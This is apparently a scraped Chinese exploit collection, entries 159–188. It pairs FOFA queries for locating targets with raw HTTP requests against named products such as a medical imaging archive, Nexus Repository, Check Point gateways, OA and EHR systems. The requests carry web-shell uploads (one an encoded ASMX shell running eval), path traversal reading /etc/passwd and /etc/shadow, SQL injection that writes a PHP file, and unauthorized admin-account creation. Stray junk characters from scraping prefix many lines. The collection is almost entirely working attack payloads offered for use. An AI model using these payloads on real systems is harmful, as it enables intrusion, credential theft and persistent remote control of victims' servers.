! ?$ I+ U0 o$ U9 _- J+ c" o& ?

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
  Z/ K( W3 A  e3 kFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
1 l- L  E* ?# H3 o7 o2 aPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
9 S: ]/ `  i: a' ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
8 L6 Y" k. o: A/ Q6 M7 nContent-Length: 1080
( u+ l0 K1 F" z2 {( S% L. A( PAccept-Encoding: gzip, deflate
Connection: close
4 ?3 _- f" `6 KContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
5 w5 Q' s1 N+ a. \8 P
% r' r: t# }2 z/ D1 |5 Z7 y6 t% y  w<?xml version="1.0" encoding="utf-8"?>
# X0 @! ?: b+ B9 ?& J# I/ F<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% b- E% U) Q. l<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
* \# I# P; g: r1 Y$ c1 \  b<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
, B" V, R7 t; w" T/ f: M</soap:Body>
</soap:Envelope>
& d  o% S4 Q# w8 l0 ^
* A/ n  K, @8 e2 Z% B, y
" B/ F1 M3 S3 Y1 L8 J3 ]1 u/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
3 \, k0 k+ X' J

9 ~2 b$ J( H5 ~' L! c160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
3 ?/ e( O6 z: P# U1 A- X- rFOFA：title="Nexus Repository Manager"
/ ^/ ?: A3 i" D, z, p2 }3 g# pGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
' f0 D; G$ k! f' G3 FConnection: close
# ]3 ?1 x+ x3 p, x( H, i& m% C& hAccept: */*
Accept-Language: en
Accept-Encoding: gzip

& ^6 H8 R! v# Q# E7 f+ a. a$ \
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
  y" @, q- p/ w2 f% tFOFA：body="/KT_Css/qd_defaul.css"
: C' g0 A2 W7 w( A第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
% n) i8 u& s: I* AConnection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

! i9 x0 R+ {; J# @5 c4 m/ T<?xml version="1.0" encoding="utf-8"?>
! P$ Q( `* \2 B. C: C<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
3 p1 |; Z- q" @" e; {xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
2 l& d, [- v; z; E<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
' _9 g7 {6 B: R, M( }<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
: n1 b- P. q& W! m" k/ X$ \
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
8 m% [3 V* I( x" d! n4 @FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
' U+ K$ y. P/ u1 z" Q) Z. `Host: x.x.x.x
2 k) @" v, z. y$ `& y$ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
* z6 Z: B" J# D* o
<% response.write("ujidwqfuuqjalgkvrpqy") %>
) s: }! z3 H3 F* h4 ^: `------WebKitFormBoundaryeegvclmyurlotuey
1 Z" m" X8 Y3 a% oContent-Disposition: form-data; name="action"
% U2 x) [1 r" R, @
upload
9 l1 V5 x! F& C. J4 |+ c1 o------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
& ^4 j9 Y5 d; x1 K7 I, C
- s3 Z+ S! m0 P1 L* m; WResourceNewResponder
; m5 d+ E, u1 l$ A: a3 \------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

; o3 D- o, p. K+ B/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

8 q- I& |0 }- ^! U! U, y; B163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
$ ~6 S3 Y$ ], R0 {, y! ePOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
5 T( m) l3 t( ?3 B+ eAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 @4 Q/ J7 n( J5 ~Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
, k+ S0 i8 l2 M) a4 H
: W! e, S$ Z+ R( w1 ]------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

. S* y2 A1 X0 {% r  E' i1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
; W2 A  Q3 _6 Z: x, p9 a, p0 T, [5 ^
, J  v" i' S. `" E: j
5 O) T/ R/ g4 Y1 w2 j164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
$ ~) H$ ~" R9 qPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
* g* x) A  ^! {0 s4 S0 x, WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
+ v2 M# O2 o. O3 E9 _- kContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
' c0 |- }7 }) z2 \% DConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
4 P! C1 m$ F: n; H4 [1 x6 p. uX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
# g# P" F, h8 {6 e
1 J5 N8 O2 e9 N6 ^& x------dqdaieopnozbkapjacdbdthlvtlyl
) I& Q, O7 y  R5 ZContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
* J+ ]: _- m/ U/ [$ S/ s6 ^Content-Type: image/jpeg

$ I1 J, l3 @1 S1 Q  T8 Z<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
% i* s7 j6 c1 N

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
/ E# G& u# [. e
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
+ o& [8 j5 h2 M0 I1 Y7 c0 HFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
) S; ~& y9 ?9 R) t+ a

$ y; E( _$ g& y& ^) @  z. _166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
$ r6 O. ^/ s5 C8 _/ ~" lHost:
Pragma: no-cache
: O- B5 }6 f" f7 X) j5 tCache-Control: no-cache
3 I& _$ j0 O2 w% p) B  OUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, p6 j5 O4 c4 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
7 [1 B4 j) j% Z- o7 G6 OConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
5 z( O& r. K1 p( G
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


& N8 u2 d" t" V167. 精益价值管理系统 DownLoad.aspx任意文件读取
& f! R" n: z& N$ rFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
0 l! j$ G4 `  a) D+ D( pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ T; R  ]- R8 }. n% l) sAccept-Encoding: gzip, deflate
# J2 l, }  b5 ~$ _- DAccept: */*
Connection: keep-alive
7 j; `* Q7 ?* |
4 W- k) y7 Q* I4 m+ H
9 ?: P4 g9 A& L( ~' L5 y* x1 v168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
4 \, r# V/ \% y; NGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
( a. x+ E, h8 N  ~0 P5 b- z8 hContent-Type: application/x-www-form-urlencoded
Connection: close
! D+ s  o3 L* \+ H


9 I5 `. \5 J' M5 J169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
( [" D; Y* ^$ y' V, T: H& e5 o, vGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
! R6 v( ^- k/ ~5 b# K5 Q0 gAccept-Encoding: gzip, deflate
Connection: close


6 T* E0 ]; z* }& {7 \0 H0 G7 P! h( H
/ f# G* X9 W8 @( x& U4 I170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
7 h& W/ G- R# yPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
: r4 I+ T: g+ ]' t  gUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 m6 Q. c- m4 X/ jContent-Type: application/x-www-form-urlencoded
- n9 ]) ~7 s" `9 d
2 x0 K  R* @; v/ dfilename=../webapps/ROOT/WEB-INF/web.xml
% g8 I3 v' y3 ]* E7 r
: g9 T1 |. |3 D
7 E, L7 d( U+ k7 d" b171. 通天星CMSV6车载定位监控平台 SQL注入
. F6 p- V) N6 y* M4 lFOFA：body="/808gps/"
3 w* V3 j. ?& Z' l: PGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
& b7 c& q! O! s7 h2 _% hHost: your-ip
4 o* h- |4 }8 J5 Q( k4 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
' J7 x3 h' u  W2 qAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) p* F3 O- [9 {Accept-Encoding: gzip, deflate
Connection: close

8 a" @4 A* X' [6 n

172. DT-高清车牌识别摄像机任意文件读取
6 T, }# r' O/ }FOFA：app="DT-高清车牌识别摄像机"
. P6 f! ?2 N6 o& ~4 kGET /../../../../etc/passwd HTTP/1.1
( Z4 n1 v4 Q$ Q% ?* {: NHost: your-ip
2 X: f2 O& p& eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ @- n8 S9 k7 B- ]( qAccept-Encoding: gzip, deflate
Accept: */*
0 h4 }; V; D6 n: C9 i5 mConnection: keep-alive

' J2 K) c) f8 ^1 A2 S

173. Check Point 安全网关任意文件读取
. b( S1 ^' L6 v. qCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
( l, j0 j; w' N5 L  M: |0 V  l  |Host: your-ip
- M; h7 d* W3 F5 y+ J. ^Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
# r" x) q- J* M$ A' U8 m

! z% r! v* r% N% v) A
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
! Z, F% n- J( `4 ]' mFOFA：app="金和网络-金和OA"
* B0 U: M7 I1 T4 j) N4 U5 s! K0 nGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% I6 w2 S, b0 [: F* VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close



175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
$ c. A3 ^% q' ?1 h: ~9 D; eHost:
% P! b" }- l9 v3 [7 D( NUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 S8 K' A/ Y4 N# ^6 m% nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' I# h4 p9 }) t' s% `: X9 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 e: S" L. o8 m0 A% nAccept-Encoding: gzip, deflate
. O3 K' f5 a1 q/ c  ~" Y9 @Connection: close
Upgrade-Insecure-Requests: 1


6 g2 k  v4 F/ x7 O176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
* ^) Z, _; ?# Q/ x6 _Host: your-ip
: M7 J7 u$ S- t; UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
5 T  N' T* ]' i: m4 F" W
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
% A) H. T1 ]/ t; R6 p1 m
7 r# s/ X9 m; b: E5 L4 ~& o<?php system("cat /etc/passwd");unlink(__FILE__);?>
' B8 V3 C+ P$ L* K& h------WebKitFormBoundaryOKldnDPT
" @" D. {: A, F% V4 UContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
: K0 m' e+ u: u2 z

! h4 O3 a( L4 |1 B2 x. f
177. H3C路由器敏感信息泄露
& F! O3 |2 X$ S% R! h& w; U2 k/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
- a( z9 H7 J9 h$ X8 `: v. `) ^/userLogin.asp/../actionpolicy_status/../GR5200.cfg
7 i/ g1 U% g; |/userLogin.asp/../actionpolicy_status/../GR3200.cfg
8 u' U$ [8 A# y+ z' F# f) F/userLogin.asp/../actionpolicy_status/../GR2200.cfg
. K' ?  t9 X7 X1 Z- M/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
' ^$ Y" z4 ^! Z8 t8 u/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
" z& o  S" i2 H& I& ^; [/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
2 R. @" `1 L; e5 d- L# o8 b. A/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
( r9 k; [  f% D( }6 n1 y4 G/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
) h7 _- I, Z7 o. \/ `6 u0 p( z, s/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
' f' A# H$ D5 g# V( i. u/ K, g: ^/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
% G! [  S9 `1 L! z/userLogin.asp/../actionpolicy_status/../ER3100.cfg
" ~  C$ k8 s! S, q  S; D, ]/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
" E3 y* ]! o( g
$ W6 f) `' K/ b; V) _
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
9 ]) d2 Y6 L" h% \& F6 J! kFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
, N# F8 s$ H2 C  @' s# {+ u& A+ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
" v1 a. b  l. ^* \% {Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
# P3 u& O; {7 x-----------------aqutkea7vvanpqy3rh2l
7 q4 m" j* N" PContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
! v3 c4 s( V: H  {% E# P1 I6 kContent-Length: 255
5 H0 O" o0 Y% I5 _0 y
12234
: b: ]! H! u' a7 |-----------------aqutkea7vvanpqy3rh2l--
1 V; D) |" v. U& m/ ~% W$ a

4 k. z- d9 K; u. v9 Z- k& e1 F' DGET /imc/primepush/%2e%2e/flex/12234.txt
. y! Y! S! |! V0 k5 y' I

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

  o% u/ X! t' G5 h/ m3 Rpath=../log4net.config&Name=
1 Z% n" q  U! U' w8 D2 F5 H0 L
% F- d5 \3 c, B2 f; @8 C# _
! N! o7 R/ S; a) m& V  e/ x- i180. 帮管客 CRM jiliyu SQL注入
0 K  T. ]2 R- h. H- a2 z& NFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
. s6 U( S* w1 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. \7 G! z  N8 F1 W8 w7 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 e# n% ]) J/ L# x' fAccept-Language: zh-CN,zh;q=0.9
' Z& P4 }* j! v9 J' t: A& aConnection: close
( d& \2 }* ~, E6 L+ l
$ [! C( v& H; U  x  z9 L
1 K! ~  v" a# Y0 W" P8 d181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
  h1 _) g) V8 p0 x! n& k7 M% ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 U' n1 F0 l& @7 j9 ^+ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 A4 O$ [) C" S* I! K+ k8 X$ iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; _# E, J& N/ {$ [  `% JConnection: close
- d; h/ x& H/ f1 t, k- }4 B/ I+ QContent-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
; t2 T4 K6 p8 x3 A7 s# ]
5 R" U& b! O: J- t3 T8 e
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
9 ~/ s4 @: c( ?0 Y1 fPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
% C' Z- O6 x6 H! a6 n% FHost: your-ip
- F) s; X$ v/ F1 s- Z0 \  r6 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
9 @4 h/ R- w3 ~" ^; aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
' _, T" M: f8 y9 V  v+ [Connection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
. |# e5 R- u8 l0 u7 Z: GFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
6 C$ T8 I0 [( `  o- ?! ^GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
2 w3 I% Q/ a9 m/ iHost: your-ip
; M7 S5 a. k  d: NUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
+ G3 p$ ?* D) U' d! cAccept-Encoding: gzip, deflate
4 [& [, _! m- }4 P4 w7 SConnection: close
# |5 ]! n5 u+ ^

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 I3 d( B" u  W- y% Y) bFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
2 r& ?: D7 X: r% `2 D% Y+ eAccept-Encoding: gzip, deflate
" _4 ~* X2 q! F7 d( i% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 {( C: I, J6 Q) V/ G/ m; L7 aAccept: application/xml, text/xml, */*; q=0.01
3 ]3 L7 k; }) sContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
( M# P4 m0 I/ Z$ o3 j* O  h
& h# A, j! e/ ]* n) E
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
3 b0 V: T* t& B( P0 Y2 {

8 k3 \( D8 c- \- w185. 瑞友天翼应用虚拟化系统SQL注入
) x) [% c5 a5 M- |1 Lversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
* [! m8 \6 D/ u4 f& E, mGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


6 z- Z4 V/ y/ c' F. N/ X186. F-logic DataCube3 SQL注入
' @5 s0 A1 U; GCVE-2024-31750
! j2 |% k' R1 v# \# n! }2 cF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
  t5 k* b$ T& E0 {3 u, E* DPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
) ]2 @' _1 V3 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. @$ }- v/ A1 m: q  o+ h( p$ \  VAccept-Encoding: gzip, deflate
9 ?) p: U5 t! wConnection: close
Content-Type: application/x-www-form-urlencoded
* b* u3 A$ u3 S
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
/ {7 n+ f2 x5 O
4 I4 j5 h6 Y3 `8 s+ w3 w
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
# k$ e' y+ I9 P! }7 v2 \1 sHost: your-ip
Content-Type: application/x-www-form-urlencoded
  y' M7 f7 J9 ~& a- `9 T9 i
+ b; V" b+ j# ^# m6 _1 W
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
# C+ V6 w  K3 r+ lGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 r9 z5 M( ~' }. g: xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
